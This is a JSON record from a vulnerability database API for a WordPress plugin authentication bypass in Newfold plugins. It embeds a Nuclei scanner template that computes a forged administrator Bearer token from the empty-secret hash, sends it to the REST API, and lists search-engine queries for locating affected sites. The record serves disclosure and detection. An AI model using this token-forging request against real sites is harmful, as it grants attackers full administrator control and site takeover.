{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-80099/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-80099/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-80099/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-80099/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-80099/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-80099/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-80099"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-80099"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-80099.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-80099\n\ninfo:\n  name: Newfold WordPress Plugins - Unauthenticated Admin Bypass via Empty HMAC Secret\n  author: ritikchaddha\n  severity: high\n  description: |\n    Newfold Digital WordPress plugins bundling wp-module-data <=2.9.4 allow unauthenticated attackers to forge a valid Bearer token and gain WordPress administrator access. The authenticate() method (hooked on rest_authentication_errors) computes: token = sha256(sha256(wp_json_encode({method,url,body,timestamp})) + sha256(strrev(get_auth_token()))) On sites not connected to Hiive, get_auth_token() returns false; PHP coerces strrev(false) to strrev('') = '', so the HMAC salt collapses to the public constant sha256('') = e3b0c44... All other inputs are attacker-controlled, enabling offline token forgery without any secret knowledge.\n  impact: |\n    Unauthenticated attackers gain full WordPress administrator access via forged Bearer token, enabling arbitrary REST API operations — user creation, plugin upload, theme editor write, and persistent backdoor installation (complete site takeover / RCE).\n  remediation: |\n    Update to patched versions: Bluehost >=4.19.1, HostGator >=3.2.1, Web >=2.3.6, Crazy Domains >=2.5.3, or update wp-module-data to >=2.9.8.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3ee369c0-0d7c-4142-b3ba-a518288647ba\n    - https://github.com/Wayang1337/CVE-2026-80099\n    - https://plugins.trac.wordpress.org/browser/wp-module-data/trunk/includes/Data.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-80099\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-80099\n    cwe-id: CWE-287\n    epss-score: 0.0291\n    epss-percentile: 0.87039\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: newfold\n    product: wp-module-data,bluehost-wordpress-plugin,hostgator,wp-plugin-web,crazy-domains\n    fofa-query: body=\"/wp-content/plugins/wp-plugin-crazy-domains\"\n    shodan-query: html:\"/wp-content/plugins/wp-plugin-crazy-domains\"\n  tags: cve,cve2026,wordpress,auth-bypass,newfold,bluehost,hostgator,wp-plugin,vkev\n\nflow: http(1) && http(2)\n\nvariables:\n  ts: \"0\"\n  esc_base: \"{{replace(BaseURL, '/', '\\\\\\\\/')}}\"\n  esc_path: \"\\\\/wp-json\\\\/wp\\\\/v2\\\\/users\\\\/me?context=edit\"\n  esc_url: \"{{esc_base + esc_path}}\"\n  empty_salt: \"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"\n  data_hash: \"{{sha256('{\\\"method\\\":\\\"GET\\\",\\\"url\\\":\\\"' + esc_url + '\\\",\\\"body\\\":\\\"\\\",\\\"timestamp\\\":\\\"' + ts + '\\\"}')}}\"\n  forged_token: \"{{sha256(data_hash + empty_salt)}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/newfold-data/v1/verify/00000000000000000000000000000000\"\n    headers:\n      Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code != 404 && contains(body, \"\\\"valid\\\"\")'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/wp/v2/users/me?context=edit\"\n    headers:\n      Authorization: \"Bearer {{forged_token}}\"\n      X-Timestamp: \"{{ts}}\"\n      Accept: application/json\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - '\"administrator\"'\n\n      - type: word\n        part: body\n        words:\n          - '\"roles\"'\n# digest: 490a0046304402204a8edb88923572f6232cc3c71f9399707ce9cb456a9c47e9f072e319650c9745022035fb2a29562bb6cff8706516b32ebcf2e430101a04fd9ba3a40ff9edf2161c0f:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-80099"}